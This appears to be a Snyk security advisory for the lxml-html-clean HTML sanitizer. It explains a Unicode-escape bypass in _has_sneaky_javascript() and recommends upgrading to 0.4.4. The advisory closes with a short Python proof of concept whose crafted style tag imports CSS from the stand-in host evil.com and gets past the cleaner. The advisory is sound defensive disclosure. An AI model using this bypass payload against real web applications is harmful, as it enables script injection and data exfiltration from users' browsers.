Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade lxml-html-clean to version 0.4.4 or higher.
lxml-html-clean is a HTML cleaner from lxml project
Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output in the _has_sneaky_javascript() function. An attacker can cause external CSS to be loaded or execute scripts in certain browsers by injecting specially crafted Unicode escape sequences into style elements. This can lead to data exfiltration, UI manipulation, or script execution when the crafted input is rendered in a browser.
from lxml_html_clean import clean_html
# Normal @import is correctly blocked:
# clean_html('<style>@import url("http://evil.com/x.css");</style>')
# Output: <div><style> url("http://evil.com/x.css");</style></div>
# Unicode escape bypass:
result = clean_html('<style>@\\69mport url("http://evil.com/x.css");</style>')
print(result)
# Output: <div><style>@\69mport url("http://evil.com/x.css");</style></div>